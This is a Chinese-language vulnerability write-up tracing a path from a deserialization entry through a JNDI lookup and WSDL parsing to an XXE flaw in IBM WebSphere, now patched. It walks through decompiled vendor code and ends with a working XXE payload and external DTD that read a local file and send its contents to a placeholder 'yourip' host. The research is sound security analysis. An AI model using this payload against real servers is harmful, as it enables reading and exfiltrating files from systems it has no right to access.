作者:Longofo@知道创宇404实验室 & r00t4dm@奇安信A-TEAM
时间:2020年9月21日
2020年9月17日,IBM发布了一个WebSphere XXE漏洞公告。 当时看到这个消息心想我们挖的那个XXE很可能与这个重了。然后看了下补丁,果不其然,当时心里就很遗憾,本来是打算一起找到一个RCE漏洞在一起提交XXE漏洞的,因为害怕提交了XXE官方把反序列化入口也封了,例如CVE-2020-4450,直接封掉了反序列化入口。奈何WebSphere找了一两周也没什么发现,后来正打算把XXE提交了,就看到官方发布了公告,看了下作者,是绿盟的一位大佬,也是CVE-2020-4450的发现者之一,这些默默挖洞的大佬,只可远观眺望啊。WebSphere的分析似乎挺少,聊聊几篇分析,不像Weblogic那样量产漏洞,单是一个高版本sdk就拦截了很多链或者说连接可用链的点,心想与其烂在手里,还不如分享出来,下面写下我们发现过程,其实重要的不是这个XXE,而是到达XXE这个点的前半部分。
补丁
先来看看补丁,只能看出是修复了一个XXE,不知道是哪儿的XXE:
可以看出这里是修复了一个XXE漏洞,但是这只是一个Utils,我们找到的那个XXE刚好也用了这个Utils。
漏洞分析
最开始研究WebSphere就是前不久的CVE-2020-4450,这个漏洞外面已经有分析了。为了更熟悉一点WebSphere,我们也去研究了历史补丁,例如印象比较深的就是前不久的CVE-2020-4276,这个漏洞算是历史漏洞CVE-2015-7450的认证方式绕过,RCE的过程与CVE-2015-7450没区别。后面意外的找到另一个反序列化入口,在确认了已经无法在历史漏洞上做文章的时,只好从readObject、readExternal、toString、compare等函数去尝试找下了,后来在一个readObject找到一个能JNDI注入的地方,但是由于sdk高版本的原因,能利用的方式就只能是本地factory或利用jndi本地反序列化了,但是WebSphere公开的利用链都被堵上了,本地反序列化其实没什么作用在这里,所以只剩下看本地Factory了。反序列化入口暂时先不给出,可能这样的反序列化入口还有很多,我们碰巧遇到了其中一个,如果后面有幸找到了RCE漏洞,就把我们找到的入口写出来,下面从那个readObject中的JNDI开始吧。
在com.ibm.ws.ejb.portable.EJBMetaDataImpl#readObject
中:
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { try { in.defaultReadObject(); ... ... this.ivStatelessSession = in.readBoolean(); ClassLoader loader = (ClassLoader)AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return Thread.currentThread().getContextClassLoader(); } }); this.ivBeanClassName = in.readUTF(); this.ivHomeClass = loader.loadClass(in.readUTF()); this.ivRemoteClass = loader.loadClass(in.readUTF()); if (!this.ivSession) { this.ivPKClass = loader.loadClass(in.readUTF()); } this.ivHomeHandle = (HomeHandle)in.readObject(); EJBHome ejbHomeStub = this.ivHomeHandle.getEJBHome();//ivHomeHandle是一个接口,我们找到了HomeHandleImpl,里面进行了JNDI查询,并且url可控 this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ejbHomeStub, this.ivHomeClass);//如果跟踪过CVE-2020-4450就能感觉到,这里十分类似CVE-2020-4450,不过缺少了后续的调用,无法像CVE-2020-4450利用WSIF的方式触发后续的RCE,WSIF之前那个XXE也被修复了 } catch (IOException var6) { throw var6; } catch (ClassNotFoundException var7) { throw var7; } }
com.ibm.ws.ejb.portable.HomeHandleImpl#getEJBHome
如下:
public EJBHome getEJBHome() throws RemoteException { if (this.ivEjbHome == null) { NoSuchObjectException re; ... ... InitialContext ctx; try { if (this.ivInitialContextProperties == null) { ctx = new InitialContext(); } else { try { ctx = new InitialContext(this.ivInitialContextProperties); } catch (NamingException var5) { ctx = new InitialContext(); } } this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.ivJndiName), homeClass);//进行了JNDI查询,ivJndiName是属性,很容易控制 } catch (NoInitialContextException var6) { Properties p = new Properties(); p.put("java.naming.factory.initial", "com.ibm.websphere.naming.WsnInitialContextFactory"); ctx = new InitialContext(p); this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.ivJndiName), homeClass); } ... ... return this.ivEjbHome; }
如果是sdk低版本,直接就是外部加载factory rce利用了,但是天不随人愿,如果这么容易就不会有CVE-2020-4450那种复杂的利用了。
接下来就只能一个一个看本地的factory了,也不多大概几十个,一个一个看吧。在com.ibm.ws.webservices.engine.client.ServiceFactory#getObjectInstance
中,找到了那个XXE:
public Object getObjectInstance(Object refObject, Name name, Context nameCtx, Hashtable environment) throws Exception { Object instance = null; if (refObject instanceof Reference) { Reference ref = (Reference)refObject; RefAddr addr = ref.get("service classname"); Object obj = null; if (addr != null && (obj = addr.getContent()) instanceof String) { instance = ClassUtils.forName((String)obj).newInstance(); } else { addr = ref.get("WSDL location"); if (addr != null && (obj = addr.getContent()) instanceof String) { URL wsdlLocation = new URL((String)obj); addr = ref.get("service namespace"); if (addr != null && (obj = addr.getContent()) instanceof String) { String namespace = (String)obj; addr = ref.get("service local part"); if (addr != null && (obj = addr.getContent()) instanceof String) { String localPart = (String)obj; QName serviceName = QNameTable.createQName(namespace, localPart); Class[] formalArgs = new Class[]{URL.class, QName.class}; Object[] actualArgs = new Object[]{wsdlLocation, serviceName}; Constructor ctor = Service.class.getDeclaredConstructor(formalArgs); instance = ctor.newInstance(actualArgs);//调用了Service构造函数 } } } } addr = ref.get("maintain session"); if (addr != null && instance instanceof Service) { ((Service)instance).setMaintainSession(true); } } return instance; }
com.ibm.ws.webservices.engine.client.Service#Service(java.net.URL, javax.xml.namespace.QName)
,在构造函数中:
public Service(URL wsdlLocation, QName serviceName) throws ServiceException { if (log.isDebugEnabled()) { log.debug("Entry Service(URL, QName) " + serviceName.toString()); } this.serviceName = serviceName; this.wsdlLocation = wsdlLocation; Definition def = cachingWSDL ? (Definition)cachedWSDL.get(wsdlLocation.toString()) : null; if (def == null) { Document doc = null; try { doc = XMLUtils.newDocument(wsdlLocation.toString());//wsdlLocation外部可控,这里XMLUtils.newDocument进去就请求了wsdlLocation获取xml文件并解析 } catch (Exception var8) { FFDCFilter.processException(var8, "com.ibm.ws.webservices.engine.client.Service.initService", "199", this); throw new ServiceException(Messages.getMessage("wsdlError00", "", "\n" + var8)); } try { WSDLFactory factory = new WSDLFactoryImpl(); WSDLReader reader = factory.newWSDLReader(); reader.setFeature("javax.wsdl.verbose", false); def = reader.readWSDL(wsdlLocation.toString(), doc);//一开始我们只停留在了上面那个XMLUtils.newDocument,利用那儿的异常带不出去数据,由于是高版本sdk,外带也只能带一行数据。后来看到reader.readWSDL进去还能利用另一种方式外带全部数据 if (cachingWSDL) { cachedWSDL.put(wsdlLocation.toString(), def); } } catch (Exception var7) { FFDCFilter.processException(var7, "com.ibm.ws.webservices.engine.client.Service.initService", "293", this); throw new ServiceException(Messages.getMessage("wsdlError00", "", "\n" + var7)); } } this.initService(def); if (log.isDebugEnabled()) { log.debug("Exit Service(URL, QName) "); } }
com.ibm.wsdl.xml.WSDLReaderImpl#readWSDL(java.lang.String, org.w3c.dom.Document)
之后,会调用到一个com.ibm.wsdl.xml.WSDLReaderImpl#parseDefinitions
:
protected Definition parseDefinitions(String documentBaseURI, Element defEl, Map importedDefs) throws WSDLException { checkElementName(defEl, Constants.Q_ELEM_DEFINITIONS); WSDLFactory factory = this.getWSDLFactory(); Definition def = factory.newDefinition(); if (this.extReg != null) { def.setExtensionRegistry(this.extReg); } String name = DOMUtils.getAttribute(defEl, "name"); String targetNamespace = DOMUtils.getAttribute(defEl, "targetNamespace"); NamedNodeMap attrs = defEl.getAttributes(); if (importedDefs == null) { importedDefs = new Hashtable(); } if (documentBaseURI != null) { def.setDocumentBaseURI(documentBaseURI); ((Map)importedDefs).put(documentBaseURI, def); } if (name != null) { def.setQName(new QName(targetNamespace, name)); } if (targetNamespace != null) { def.setTargetNamespace(targetNamespace); } int size = attrs.getLength(); for(int i = 0; i < size; ++i) { Attr attr = (Attr)attrs.item(i); String namespaceURI = attr.getNamespaceURI(); String localPart = attr.getLocalName(); String value = attr.getValue(); if (namespaceURI != null && namespaceURI.equals("http://www.w3.org/2000/xmlns/")) { if (localPart != null && !localPart.equals("xmlns")) { def.addNamespace(localPart, value); } else { def.addNamespace((String)null, value); } } } for(Element tempEl = DOMUtils.getFirstChildElement(defEl); tempEl != null; tempEl = DOMUtils.getNextSiblingElement(tempEl)) { if (QNameUtils.matches(Constants.Q_ELEM_IMPORT, tempEl)) { def.addImport(this.parseImport(tempEl, def, (Map)importedDefs)); } else if (QNameUtils.matches(Constants.Q_ELEM_DOCUMENTATION, tempEl)) { def.setDocumentationElement(tempEl); } else if (QNameUtils.matches(Constants.Q_ELEM_TYPES, tempEl)) { def.setTypes(this.parseTypes(tempEl, def)); } else if (QNameUtils.matches(Constants.Q_ELEM_MESSAGE, tempEl)) { def.addMessage(this.parseMessage(tempEl, def)); } else if (QNameUtils.matches(Constants.Q_ELEM_PORT_TYPE, tempEl)) { def.addPortType(this.parsePortType(tempEl, def)); } else if (QNameUtils.matches(Constants.Q_ELEM_BINDING, tempEl)) { def.addBinding(this.parseBinding(tempEl, def)); } else if (QNameUtils.matches(Constants.Q_ELEM_SERVICE, tempEl)) { def.addService(this.parseService(tempEl, def)); } else { def.addExtensibilityElement(this.parseExtensibilityElement(Definition.class, tempEl, def)); } } this.parseExtensibilityAttributes(defEl, Definition.class, def, def); return def; }
com.ibm.wsdl.xml.WSDLReaderImpl#parseImport
:
protected Import parseImport(Element importEl, Definition def, Map importedDefs) throws WSDLException { Import importDef = def.createImport(); String locationURI; try { String namespaceURI = DOMUtils.getAttribute(importEl, "namespace"); locationURI = DOMUtils.getAttribute(importEl, "location");//获取location属性 String contextURI = null; if (namespaceURI != null) { importDef.setNamespaceURI(namespaceURI); } if (locationURI != null) { importDef.setLocationURI(locationURI); if (this.importDocuments) { try { contextURI = def.getDocumentBaseURI(); Definition importedDef = null; InputStream inputStream = null; InputSource inputSource = null; URL url = null; if (this.loc != null) { inputSource = this.loc.getImportInputSource(contextURI, locationURI); String liu = this.loc.getLatestImportURI(); importedDef = (Definition)importedDefs.get(liu); if (inputSource.getSystemId() == null) { inputSource.setSystemId(liu); } } else { URL contextURL = contextURI != null ? StringUtils.getURL((URL)null, contextURI) : null; url = StringUtils.getURL(contextURL, locationURI); importedDef = (Definition)importedDefs.get(url.toString()); if (importedDef == null) { inputStream = StringUtils.getContentAsInputStream(url);//进行了请求,可以通过这个请求将数据外带,但是还是有些限制,例如有&或"等字符的文件会报错导致带不了 ... ...
xml payload:
xml如下: <!DOCTYPE x [ <!ENTITY % aaa SYSTEM "file:///C:/Windows/win.ini"> <!ENTITY % bbb SYSTEM "http://yourip:8000/xx.dtd"> %bbb; ]> <definitions name="HelloService" xmlns="http://schemas.xmlsoap.org/wsdl/"> &ddd; </definitions> xx.dtd如下: <!ENTITY % ccc '<!ENTITY ddd '<import namespace="uri" location="http://yourip:8000/xxeLog?%aaa;"/>'>'>%ccc;
最后
我们只看了浮在表面上的一些地方,人工最多只看了两层调用,也许RCE隐藏在更深的地方或者知识盲点现在没找到呢,还是得有个属于自己的能查找链的工具,工具不会累,人会。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1342/